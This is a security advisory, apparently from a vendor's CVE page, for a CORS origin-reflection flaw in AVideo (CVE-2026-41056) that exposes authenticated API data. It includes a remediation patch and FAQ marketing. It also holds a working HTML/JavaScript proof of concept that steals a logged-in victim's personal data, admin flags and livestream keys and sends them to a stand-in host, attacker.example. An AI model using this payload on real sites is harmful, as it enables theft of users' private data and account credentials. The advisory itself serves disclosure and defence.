Summary
The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php, the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.
Details
The vulnerable code path is in objects/functions.php lines 2773-2791:
// objects/functions.php:2773
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
header('Access-Control-Allow-Origin: *');
}
// ... allows all methods and headers ...
return;
}
This is called unconditionally at the top of both API entry points:
// plugin/API/get.json.php:12
allowOrigin(true);
// plugin/API/set.json.php:12
allowOrigin(true);
The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data", this is incorrect. The same allowOrigin(true) call gates the entire API surface.
The attack is enabled by the session cookie configuration at objects/include_config.php:144:
ini_set('session.cookie_samesite', 'None');
This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).
When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including:
- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)
The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.
PoC
Step 1: Host the following HTML on any domain (e.g., https://attacker.example):
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
navigator.sendBeacon('https://attacker.example/collect',
JSON.stringify({
email: data.user?.email,
name: data.user?.user,
isAdmin: data.user?.isAdmin,
streamKey: data.livestream?.key,
streamServer: data.livestream?.server
})
);
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
Step 2: Victim visits the attacker page while logged into the AVideo instance.
Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.
Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.
Impact
- User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
- Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
- Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
- State modification: The
set.json.phpendpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim - Mass exploitation: No per-user targeting required, a single attacker page can harvest data from every logged-in visitor
CVE-2026-41056 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:
// objects/functions.php:2773, replace the $allowAll block with:
if ($allowAll) {
$requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (!empty($requestOrigin)) {
// Validate origin against site domain before reflecting
$siteOrigin = '';
if (!empty($global['webSiteRootURL'])) {
$parsed = parse_url($global['webSiteRootURL']);
if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
$siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
if (!empty($parsed['port'])) {
$siteOrigin .= ':' . $parsed['port'];
}
}
}
if ($requestOrigin === $siteOrigin) {
header('Access-Control-Allow-Origin: ' . $requestOrigin);
header('Access-Control-Allow-Credentials: true');
} else {
// For truly public resources (ad XML), allow without credentials
header('Access-Control-Allow-Origin: ' . $requestOrigin);
// Do NOT set Allow-Credentials for untrusted origins
}
} else {
header('Access-Control-Allow-Origin: *');
}
// ... rest of headers ...
}
Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.
Frequently Asked Questions
- What is CVE-2026-41056? CVE-2026-41056 is a high-severity security vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet.
- How severe is CVE-2026-41056? CVE-2026-41056 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-41056? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-41056? No fixed version is listed for CVE-2026-41056 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-41056 exploitable, and should I be worried? Whether CVE-2026-41056 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41056 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.